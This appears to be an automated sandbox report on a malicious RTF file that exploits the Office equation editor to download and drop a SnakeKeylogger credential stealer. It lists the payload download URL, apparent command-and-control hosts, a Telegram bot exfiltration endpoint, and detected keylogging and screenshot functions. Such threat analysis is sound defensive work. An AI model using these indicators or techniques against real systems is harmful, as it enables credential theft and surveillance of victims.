Source: global traffic HTTP traffic detected: GET /txt/pgTQ4mfZBbJhpdd.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 30 Oct 2024 07:32:29 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.428467332.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/pgTQ4mfZBbJhpdd.exe
Source: EQNEDT32.EXE, 00000002.00000002.428467332.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/pgTQ4mfZBbJhpdd.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.428467332.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/pgTQ4mfZBbJhpdd.exeIP
Source: EQNEDT32.EXE, 00000002.00000002.428467332.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/pgTQ4mfZBbJhpdd.exej
Source: EQNEDT32.EXE, 00000002.00000002.428467332.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/pgTQ4mfZBbJhpdd.exettC:
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000269B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000268D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002586000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000262A000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002636000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002644000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000267F000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000266D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002619000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000268D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000025C9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002586000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000262A000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002636000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002644000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002651000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000267F000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000266D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002619000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942265984.000000000050C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: cdlpohalgate39567.exe, 00000007.00000002.943786428.0000000005C60000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: cdlpohalgate39567.exe, 00000007.00000002.943786428.0000000005C60000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000268D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000259F000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000262A000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002636000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002644000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000267F000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000266D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002619000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: cdlpohalgate39567.exe, 00000005.00000002.438271817.0000000002749000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: cdlpohalgate39567.exe, 00000005.00000000.428364525.0000000001012000.00000020.00000001.01000000.00000004.sdmp, cdlpohalgate39567.exe.2.dr, pgTQ4mfZBbJhpdd[1].exe.2.dr String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000269B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000269B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000269B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000269B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:610930%0D%0ADate%20a
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000268D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000025C9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002586000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000262A000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002636000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002644000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000267F000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000266D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002619000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: cdlpohalgate39567.exe, 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002586000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002619000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.78
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000268D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000025C9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000262A000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002636000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002644000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000267F000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000266D000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002619000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.784
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.0000000002768000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000355B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.000000000277B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cdlpohalgate39567.exe, 00000007.00000002.942265984.0000000000526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003657000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003657000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003657000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: cdlpohalgate39567.exe, 00000007.00000002.942629985.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000370B000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003657000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000036F6000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003657000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000036F6000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003657000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.0000000003642000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000369C000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000035E8000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.000000000360A000.00000004.00000800.00020000.00000000.sdmp, cdlpohalgate39567.exe, 00000007.00000002.943337950.00000000036F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: na.doc
Malicious sample detected (through community Yara rule)
Source: na.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\pgTQ4mfZBbJhpdd[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
